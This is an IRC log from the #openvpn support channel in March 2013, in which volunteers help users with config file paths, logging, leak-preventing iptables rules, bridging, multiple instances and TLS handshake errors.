20:03 < pekster> Right. But in tun, "broadcast" is meaningless anyway
20:04 < pekster> Actually, it's got negativie meaning synonymous with "waste" :)
20:04 < rob0> true, it's wasteful
20:05 < pekster> Not to nit-pick, but I just don't like giving people the idea that smaller IP networks can't be done. After all, the p2p topology does it just fine using f.eg 10.8.0.7/32 peer 10.8.0.1
20:06 < pekster> And Windows "fakes" it anyway thesedays. Yay for hacking around Redmond's lack of proper support for what we call "standards"
20:06 < japamber> hey, yesterday I pasted the vpn config files to /etc/openvpn and it worked fine when I ran "openvpn --config 'spotflux.ovpn.conf'", but now its gettings an options error that says there is an error opening the config file
20:06 < rob0> well, I wasn't really paying attention to the issue in the scrollback. What little I saw sounded like broadcasts might be needed.
20:07 < pekster> japamber: Does it exist, and is it accessible by the user you're invoking openpvn as? (generally that user must be root)
20:07 < japamber> pekster: yes, Im navigated there right now and staring at it! I tried sudo as well and same error
20:07 -!- teknoprep [~quassel@c-50-152-69-94.hsd1.pa.comcast.net] has joined #openvpn
20:09 < pekster> japamber: Don't rely on things like sudo to keep your path the same. Avoid using relative paths like that. If you want to use sudo to elevante runtime permissions, do: sudo openvpn --config /etc/openvpn/my.conf
20:09 < pekster> And check that it really exists where you expect. ls -l /etc/openvpn/my.conf
20:09 < pekster> "starting at it" is not the same as verifying it exists at the same path you're specifying
20:10 < Poster> most init scripts do something along the lines of
20:10 < Poster> for n in $(/bin/ls /etc/openvpn/*.conf); do openvpn --config $n --daemon ; done
20:10 < rob0> eww
20:11 < pekster> And those that do are broken to the point that lack proper independent control
20:11 < pekster> Said maintainers need to be replaced with people who understand the package they're exposing control for
20:11 < rob0> for n in /etc/openvpn/*.conf ; do ... done (no need for ugly ls parsing, just use a glob)
20:11 < Poster> yeah that too
20:12 < japamber> ok now it seems to have worked, but now I get a message that says "WARNING: No server certificate verificatino method has been enabled"
20:12 < japamber> it also says "Cannot open file key file 'ta.key' : No such file or directory", although its in the same location.
20:12 < pekster> japamber: And you get a nice URL that explains why that's important. I'm assuming based on how quickly you pasted that you haven't read it. Go read it, then ask if you need more direction
20:12 < Poster> the windows service is pretty much the same thing
20:12 < Poster> it scans for *.ovpn and tries to launch them all
20:13 < pekster> japamber: Then fix your broken relative paths. Again. See --cd in the manpage
20:14 < pekster> Your options in rough order of preference (for clarity primarily) are: 1) Always use full paths 2) Use the --cd directive to properly set the relative path root 3) write your launch system to set the directory to be what you expect
20:24 < japamber> thanks, i was also wondering where does openVPN generate its log messages?
20:28 <@krzee> !logfile
20:28 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info
20:30 < japamber> thanks
20:38 -!- teknoprep [~quassel@c-50-152-69-94.hsd1.pa.comcast.net] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
20:43 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:45 -!- keldwud [~smuxi@209.63.136.134] has quit [Disconnected by services]
20:47 -!- keldwud_ [~smuxi@209.63.136.134] has joined #openvpn
21:05 -!- yass [~yass@ney92-1-82-66-111-4.fbx.proxad.net] has quit [Quit: Leaving]
21:07 -!- japamber [~oibangla@c-98-231-137-71.hsd1.md.comcast.net] has quit [Quit: Leaving]
21:08 < hrenovo> is there anyone who can help me with firewall settings on windows 7 in order to be able to allow connecting to openvpn client's cifs shares?
21:10 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
21:16 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:23 -!- ade_b [~Ade@koln-5d817742.pool.mediaWays.net] has joined #openvpn
21:23 -!- ade_b [~Ade@koln-5d817742.pool.mediaWays.net] has quit [Changing host]
21:23 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
21:24 -!- tcamuso [~tcamuso@pool-64-222-176-233.man.east.myfairpoint.net] has quit [Ping timeout: 240 seconds]
21:27 < pekster> hrenovo: I've previously told you how you can change your adapter's "private/public" status. I don't care to repeat myself to people who don't listen to info I give the first time, or those that tend to quit minutes after answering questions. This channel is for OpenVPN support, not your OS. Try ##windows, or a Windows-centric forum if you need help with your OS.
21:35 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 248 seconds]
21:43 < hrenovo> pekster: thanks for the info
21:44 < hrenovo> pekster: would you care to remind me how to change it ? As far as I can remember there were some links for an idea were provided in this channel but I think they were not exactly correct guides.
21:47 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
21:48 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
21:48 < pekster> Windows isn't the OS for you if basic netwowrking and firewalling escapes you
21:49 < pekster> !101
21:49 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
21:49 < pekster> !basic
21:49 <@vpnHelper> "basic" is if you do not understand basic networking, you probably should not be administrating a vpn... you should understand the basics of routing / firewalls first
22:33 -!- Testy [~test@199.195.142.159] has joined #openvpn
22:33 -!- Testy is now known as Guest25311
22:34 -!- Guest25311 [~test@199.195.142.159] has left #openvpn []
22:34 -!- HouseMaid [~test@199.195.142.159] has joined #openvpn
22:35 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Ping timeout: 264 seconds]
22:36 < HouseMaid> Hi guys.  Wondering if anybody could help me with a VPN question.  Is there a way to prevent my client OS from revealing my true IP when a vpn connection goes down suddenly?  I read somewhere that it can be done with iptables.  I'm not sure what rules I would have to add though
22:36 <@EugeneKay> iptables -t filter -A OUTPUT -m udp -p udp --dport 1194 -j ACCEPT; iptables -t filter -A OUTPUT -j DROP
22:37 <@EugeneKay> Oh, with -o eth0 in there too
22:37 < uberushaximus> Oh o eth0 oh baby
22:38 < HouseMaid> EugeneKay: add to the first rule?
22:38 <@EugeneKay> To both
22:38 <@EugeneKay> Just after the OUTPUT
22:38 < HouseMaid> Okay.  I will give that a try!  Thank you!
22:38 <@EugeneKay> Be aware that this ill disable all outgoing traffic that isn't to VPN
22:39 <@EugeneKay> Including DNS
22:39 < HouseMaid> Perfect
22:40 <@EugeneKay> You may also want to tighten up the accept rule with a -d 1.2.3.4
22:41  * EugeneKay accept no responsibility for this eating your head
22:41 < HouseMaid> Ya.. adding that now.
22:43 < HouseMaid> Hmm, that didn't work as I hoped.  Will mess around with it a bit
22:46 < HouseMaid> Oh, well, I have eth2
22:47 -!- HouseMaid [~test@199.195.142.159] has quit [Quit: Leaving]
22:47 <@krzee> err
22:47 <@krzee> you could also just tell him not to use def1
22:47 <@krzee> he left 1min too early
22:49 < pekster> What would that do? When the VPN gets disconnected it would reset the gateway, and local DHCP renewals could wipe that out revealing the original IP to connections in progress anyway
22:49 <@krzee> if that were true, then what would def1 do...?
22:49 < pekster> Prevent that
22:50 < pekster> DHCP renewals won't wipe out your existing routes, just reset the default gateway
22:50 < pekster> That's the whole point
22:50 <@krzee> the whole point of def1 is so you can keep your connection when the vpn goes down, and are you saying you run your vpn as root?
22:51 < pekster> ...
22:51 < pekster> If you *don't* use def1, then a DHCP renewal (mine occurs every 6h at home, for instance) will reset the default gateway
22:51 < pekster> When that occurs, say I connected to the VPN to bypass some foreign government spyware firewall, and the DHCP renewal comes up, it'll replace the default gateway openvpn set, and send my traffic to $mitm_govt
22:52 < pekster> That's Bad™
22:52 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
22:53 < pekster> 0/1 and 128/1 is a normal route. It's not special like 0/0 is, and thus won't be interfered with by other common daemons running on most client systems
22:57 -!- amir [~amir@unaffiliated/amir] has quit [Excess Flood]
22:58 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
23:04 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
23:20 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
23:22 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-nzltkzhqfvnggbhf] has quit [Ping timeout: 256 seconds]
23:22 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
23:23 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
23:23 -!- jave_ [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 256 seconds]
23:24 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
23:24 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-jmjreweocdsfzlzf] has joined #openvpn
--- Day changed Fri Mar 29 2013
00:54 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
00:55 -!- keldwud_ [~smuxi@209.63.136.134] has quit [Ping timeout: 264 seconds]
00:57 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Ping timeout: 258 seconds]
00:58 -!- keldwud [~smuxi@209.63.136.134] has joined #openvpn
01:00 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
01:35 -!- brute11k [~brute@89.249.235.66] has joined #openvpn
02:20 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: Lost terminal]
02:37 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has joined #openvpn
02:40 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
03:11 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
03:58 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Read error: Operation timed out]
03:59 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn
04:03 -!- robert83a2 [~robert83a@gandalf.topolauniverzal.com] has joined #openvpn
04:04 < robert83a2> hello everyobdy I'm using openvpn openvpn-2.2.0-2.el5.rf on CentOS 5.x , my problem is I've enabled logging which works fine, but every time I restart the OpenVPN service the log file gets cleaned, how can i tell the openvpn server that It should append to the existing log file ? (I must have logs for months... and service might restart a few times in 5-6 months...)
04:06 < robert83a2> ansered my own question
04:06 < robert83a2> log-append
04:07 -!- robert83a2 [~robert83a@gandalf.topolauniverzal.com] has quit [Client Quit]
04:08 < pppingme> how are you logging now, do you just have "log /pathtologs/filename.log" in your config?
05:00 < Dennis84_> hi all
05:15 -!- gardar [~gardar@gardar.net] has quit [Remote host closed the connection]
05:18 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
05:31 < d33tah> http://wklej.org/hash/6642345ab35/
05:31 <@vpnHelper> Title: Wklejka #996391 – Wklej.org (at wklej.org)
05:31 < d33tah> why can I connect to one port and get "no route to host" on another?
05:33 < d33tah> (192.168.66.10 is one of connected hosts)
06:03 -!- master_o1_master [~master_of@p4FF24EEE.dip.t-dialin.net] has joined #openvpn
06:04 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
06:06 -!- master_of_master [~master_of@p4FF2468E.dip.t-dialin.net] has quit [Ping timeout: 256 seconds]
06:17 < d33tah> pekster: you here by any chance?
06:33 -!- brute11k [~brute@89.249.235.66] has quit [Read error: Connection reset by peer]
06:36 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
06:39 -!- brute11k [~brute@89.249.235.66] has joined #openvpn
06:50 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 260 seconds]
07:14 -!- Dave2 is now known as Dave
07:18 -!- newbie|4 [~tjz@bb116-14-142-13.singnet.com.sg] has joined #openvpn
07:19 -!- gardar [~gardar@gardar.net] has joined #openvpn
07:20 -!- tjz [~tjz@unaffiliated/tjz] has quit [Ping timeout: 264 seconds]
07:28 -!- JackWinter [~jack@ppp-256.vo.lu] has quit [Quit: ZNC - http://znc.in]
07:30 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
07:33 -!- amir [~amir@unaffiliated/amir] has quit [Ping timeout: 255 seconds]
07:36 -!- JackWinter [~jack@ppp-256.vo.lu] has left #openvpn ["Konversation terminated!"]
07:51 -!- JackWinter1 [~jack@ppp-256.vo.lu] has joined #openvpn
08:04 -!- A2tec [~Aztec@fightclub.de] has quit [Ping timeout: 248 seconds]
08:05 -!- A2tec [~Aztec@fightclub.de] has joined #openvpn
08:21 < d33tah> pekster: you here by any chance?
08:21 < d33tah> 
08:21 < d33tah> 
08:21 < d33tah> (sorry)
08:42 < rob0> I'd guess firewall, such as an iptables rule with -j REJECT --reject-with icmp-host-unreachable
08:51 -!- Orbi [~opera@anon-149-17.vpn.ipredator.se] has left #openvpn []
09:14 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:15 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Client Quit]
09:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:18 < d33tah> hm
09:19 < d33tah> i've successfully set up openvpn bridging on my ddwrt router, but i need to forward ports from the bridged interface. for some reason, webgui doesn't seem to work for me in this case. any tips on how to perform such a forwarding?
09:19 < d33tah> i'd like to forward port from anywhere:2245 to my 192.168.1.50:22
09:49 -!- keldwud [~smuxi@209.63.136.134] has quit [Changing host]
09:49 -!- keldwud [~smuxi@unaffiliated/keldwud] has joined #openvpn
10:00 -!- u0m3 [~Radu@92.80.88.250] has quit [Read error: Connection reset by peer]
10:03 -!- keldwud [~smuxi@unaffiliated/keldwud] has left #openvpn []
10:04 -!- evildead [~laurentl@office-nat.ladtech.fr] has joined #openvpn
10:04 -!- u0m3 [~Radu@109.96.168.4] has joined #openvpn
10:04 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
10:06 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:09 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
10:09 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
10:11 < plaisthos> btw. anyone who bored can help me translation the android app: http://crowdin.net/project/ics-openvpn/invite
10:11 <@vpnHelper> Title: OpenVPN for Android Translations - Crowdin (at crowdin.net)
10:13 < Dropje> d33tah: any reason to use a bridged setup? dnat on a bridge is a "hack" as far as i can tell
10:14 < Dropje> i actually get a shiver saying the word: "ebtables" ;-)
10:31 -!- evildead [~laurentl@office-nat.ladtech.fr] has left #openvpn []
10:52 -!- raidz_away is now known as raidz
11:02 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
11:10 <@EugeneKay> !whybridge
11:10 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
11:26 -!- mattock_afk is now known as mattock
11:55 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
11:55 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
12:19 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
12:25 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
12:36 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:51 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
12:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
13:04 -!- MeanderingCode [~Meanderin@198.1.124.86] has quit [Quit: Off the grid]
13:05 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn
13:09 -!- MeanderingCode [~Meanderin@198.1.124.86] has left #openvpn []
13:11 -!- MeanderingCode [~Meanderin@198.1.124.86] has joined #openvpn
13:25 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 246 seconds]
13:26 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
13:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
13:35 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 255 seconds]
13:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:59 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:08 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
14:17 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
14:20 -!- skomorokh [~skomorokh@rose.makesad.us] has left #openvpn []
14:34 -!- Volkswagner [~eric@cpe-24-161-55-139.hvc.res.rr.com] has joined #openvpn
14:38 -!- raidz is now known as raidz_away
14:41 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
14:52 < Volkswagner> Greetings, is it possible to config openvpn as client, without using WAN interface?  The client is dd-wrt.v24-13064_VINT_openvpn on WRT54g ver2
14:52 < Volkswagner> Reason, I'm having trouble on client site, they seem to have adsl router modem with single fixed ip > 2nd ADSL router using DHCP
14:52 < Volkswagner> Currently I'm trying to set openvpn client with fixed ip outside of DHCP range of 2nd ADSL router, but when starting openvpn I get following error
14:53 < Volkswagner> write UDPv4 []: Network is unreachable (code=128)
14:53 < Volkswagner> perhaps I now have the wrong "route add" command >> route add -net 192.168.7.0 netmask 255.255.255.0 gw 10.0.0.1
14:55 -!- brute11k [~brute@89.249.235.66] has quit [Quit: Leaving.]
14:57 < pekster> Volkswagner: OpenVPN doesn't have any notion of your "WAN interface." It uses IPs. You can bind your server to an IP on the local system by using the --local directive. In the case of a server, it'll listen on that address, and in the case of a client, it will source the outbound request from that address
14:58 < pekster> 'network unreachable' means the system can't connect to your peer. Try a ping or traceroute to your endpoint to see why you're having problems connecting
15:00 < Volkswagner> pekster, OK, I think your correct.  deeper looking I see "UDPv4 link local [undef]
15:00 < Volkswagner> Ill add directive in openvpn.conf
15:01 < pekster> Is your host multihomed? Using that directive won't matter if you're not
15:04 < Volkswagner> I have not specifically setup mulithome, I do have nobind and UDP tun on the server config it that helps
15:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
15:08 < Volkswagner> If I ping remote address I only get on ping with no response, but if I ping local I get continuous ping, firewall?
15:10 < pekster> Perhaps, or the remote host might not allow pings. It's easier to diagnose if you set your server to allow pings for troubleshooting. Can you do that?
15:11 < Volkswagner> I'm pretty sure I'm open to pings, I'll double check, ping google.com does the same thing
15:12 < pekster> Ah, you should be able to ping google.com. If not, fix your local firewall first
15:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
15:36 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Read error: error:1408F119:SSL routines:SSL3_GET_RECORD:decryption failed or bad record mac]
15:36 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
15:41 < Volkswagner> pekster,  thanks, you set me on the correct path... I forgot to change the mode of the client (router) it was no longer a gateway!
15:43 < pekster> Wolf_Zero: no, you misunderstand; either the shop did fix it and I have *another* fluid leak, or they didn't fix the one. The 1st means my analysis is free, and the 2nd means the repair is free. Either means I don't deal with it
15:43 < pekster> Erm... wrong window, ignore that
15:43 < pekster> Volkswagner: Sounds good. You should be able to verify connectivity with your VPN endpoint, then re-try your link
15:48 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 246 seconds]
15:50 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
15:50 -!- ServerTechLaptop [~ServerTec@static-mum-59.181.149.175.mtnl.net.in] has joined #openvpn
15:50 < ServerTechLaptop> !welcome
15:50 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
15:50 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
15:52 < ServerTechLaptop> Hello. I need help in setting up two openvpn instances on the same server. One OpenVPN instance for TCP and one for UDP. Both instances should be able to service multiple ports. I tried some guides online including http://goo.gl/Infi1 but doesn't seem to work.
15:52 <@vpnHelper> Title: Linode Forum :: View topic - OpenVPN Configuration - Multiple Ports (at goo.gl)
15:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn []
16:02 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
16:07 -!- nutron [~nutron@unaffiliated/nutron] has quit [Quit: I must go eat my cheese!]
16:12 < pekster> ServerTechLaptop: OpenVPN listens on a single port; use NAT if you want to appear externally to be listening on more than 1. Otherwise, there's nothing special about multiple instances for TCP+UDP. Configure them as separte instances with their own unique network ranges, and optionally use the same certs/keys if you wish clients to connect to either
16:12 < pekster> The official howto is:
16:12 < pekster> !howto
16:12 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:13 -!- raidz_away is now known as raidz
16:15 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:23 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:11 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
17:14 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Client Quit]
17:18 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has joined #openvpn
17:25 -!- nonotza_ [~nonotza@cpe-74-73-232-198.nyc.res.rr.com] has quit [Quit: nonotza_]
17:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
17:33 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
17:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 258 seconds]
18:08 < rob0> EugeneKay, there was a fan of yours ranting about you in #freenode :)
18:08 < rob0> !EugeneKay
18:08 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
18:08 <@EugeneKay> Good to hear it.
18:08 < rob0> :)
18:09 <@EugeneKay> Which one, out of curiousity?
18:10 < rob0> I love the whiners who talk about "abusing power". (This was NightHawk877.) I love telling them to GAFC.
18:10 <@EugeneKay> Ah, a true moron
18:10 < rob0> unfortunately I missed the fun with Mr. 877.
18:10 <@EugeneKay> Different channel entirely
18:10 < rob0> yes, I think he said so
18:30 -!- JSharpe__ [~JSharpe@46.165.210.17] has quit [Ping timeout: 248 seconds]
18:31 -!- JSharpe [~JSharpe@46.165.221.13] has joined #openvpn
18:33 -!- Dave is now known as Dave2
18:34 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:40 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
18:59 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
19:07 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:07 -!- MorkBork [~mark@unaffiliated/morkbork] has quit [Quit: ZNC - http://znc.in]
19:08 -!- MorkBork [~mark@unaffiliated/morkbork] has joined #openvpn
19:10 -!- raidz is now known as raidz_away
19:57 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 255 seconds]
19:58 -!- emmanuelux [~emmanuelu@ch.freedom-ip.com] has joined #openvpn
20:03 -!- emmanuelux [~emmanuelu@ch.freedom-ip.com] has quit [Read error: Connection reset by peer]
20:06 < MacGyver> Aside from -O0 -ggdb, should I do anything else for the new build?
20:06 < MacGyver> I think someone said passing --enable-debug to openvpn's ./configure.
20:12 -!- barhom [~barhom@c-d59c72d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
20:12 < MacGyver> Ah, and -fno-omit-frame-pointer.
20:16 -!- ServerTechLaptop [~ServerTec@static-mum-59.181.149.175.mtnl.net.in] has quit [Ping timeout: 245 seconds]
21:00 -!- newbie|4 [~tjz@bb116-14-142-13.singnet.com.sg] has quit [Quit: quit irc]
21:01 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:14 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
21:22 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has joined #openvpn
21:22 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has left #openvpn ["Leaving"]
21:22 -!- dioz_ [~dioz@2001:470:d:e3::1] has joined #openvpn
21:23 -!- Cobra_Fast [~coprah@wtwrp.de] has joined #openvpn
21:23 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
21:23 -!- dioz [~dioz@2001:470:d:e3::1] has quit [Ping timeout: 246 seconds]
21:24 -!- ServerTechLaptop [~ServerTec@static-mum-59.181.149.175.mtnl.net.in] has joined #openvpn
21:24 -!- Toes_ [~Toes@unaffiliated/toes/x-000000001] has joined #openvpn
21:26 -!- [fred] [fred@konfuzi.us] has joined #openvpn
21:26 -!- Cobra_Fast [~coprah@wtwrp.de] has left #openvpn []
21:28 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
21:46 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
21:47 -!- Denial- [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
21:49 -!- joshie_ [~josh@joshie.net] has joined #openvpn
21:50 -!- Varazir_ [~mircwars@c-94-255-133-56.cust.bredband2.com] has joined #openvpn
21:51 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
21:56 -!- Netsplit *.net <-> *.split quits: pekster, folivora, Varazir, Denial, speed_racer8, dioz_, joshie, hazardous, piele, peper
21:56 -!- Denial- is now known as Denial
22:00 -!- Netsplit over, joins: pekster, dioz_, hazardous, folivora, piele
22:03 < ngharo> http://www.youtube.com/watch?feature=player_embedded&v=YEBfamv-_do  this is kewl
22:03 <@vpnHelper> Title: Diffie-Hellman Key Exchange - YouTube (at www.youtube.com)
22:21 -!- vraa__ [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Quit: Leaving]
22:34 -!- dioz_ is now known as dioz
23:50 -!- ccherrett [~christoph@184.70.186.190] has joined #openvpn
23:51 < ccherrett> I am using pfsense to generate certs for me but the server is getting these errors when the client tries to connect: TLS Error: cannot locate HMAC in incoming packet from
23:52 < ccherrett> on the client I get: TLS Error: TLS key negotiation failed to occur within 60 seconds (check your network connectivity)
23:52 < ccherrett> and: TLS Error: TLS handshake failed
23:52 < ccherrett> any ideas?
23:53 < pekster> Verify your crypto settings match between your peers
23:53 -!- JackWinter1 [~jack@ppp-256.vo.lu] has quit [Excess Flood]
23:53 < pekster> Better yet, post your server+client configs; we have some grep syntax to strip comments and blank lines here:
23:53 < pekster> !configs
23:53 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:54 < pekster> The HMAC is negotiated during connection based on your selected --auth value, and this is performed over the TLS channel
23:54 -!- JackWinter [~jack@ppp-256.vo.lu] has joined #openvpn
23:56 < ccherrett> pekster: I am not sure how to get to pfsenses config but I think it is set to AES-128-CBC(128 bit) on the server
23:56 < pekster> !pfsense
23:57 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
23:57 < pekster> See #3 above. I can't really help if you don't have OpenVPN configs for both peers. I don't use pfSense; I can help only with OpenVPN
23:58 < ccherrett> pekster: I hear you I am not use to a gui at all for this stuff, I got wrangled into it by a fan of it today to try and get a quick vpn going for my asterisk server to eliminate one way audio problems
23:58 < ccherrett> that said I am looking for it
23:58 < pekster> Well, "quick" is realtive. I can have an OS (Linux, BSD, whatever) up and running OpenVPN in under 15 minutes from scratch
23:58 < ccherrett> I could not agree more
23:58 < ccherrett> quick is a myth on a gui
23:59 < ccherrett> it is never quick
23:59 < MorkBork> openvpn configs are actually pretty pleasant to work with in basic setups
23:59 < MorkBork> like 10-15 lines at most
23:59 < MorkBork> obv more if you embed certs
23:59 < MorkBork> but still
23:59 < ccherrett> pekster: http://pastebin.com/a1ygz5pJ
23:59 < ccherrett> I blanked out my ip because of pastebin
--- Day changed Sat Mar 30 2013
00:00 < ccherrett> looking for the pfsense config
00:00 < ccherrett> server config
